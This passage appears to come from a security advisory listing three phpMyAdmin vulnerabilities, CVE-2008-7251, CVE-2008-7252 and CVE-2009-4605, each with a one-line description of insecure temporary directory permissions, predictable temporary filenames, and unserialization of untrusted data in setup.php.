  - CVE-2008-7251
    phpMyAdmin may create a temporary directory, if the
    configured directory does not exist yet, with insecure
    filesystem permissions.

  - CVE-2008-7252
    phpMyAdmin uses predictable filenames for temporary
    files, which may lead to a local denial of service
    attack or privilege escalation.

  - CVE-2009-4605
    The setup.php script shipped with phpMyAdmin may
    unserialize untrusted data, allowing for cross site
    request forgery."
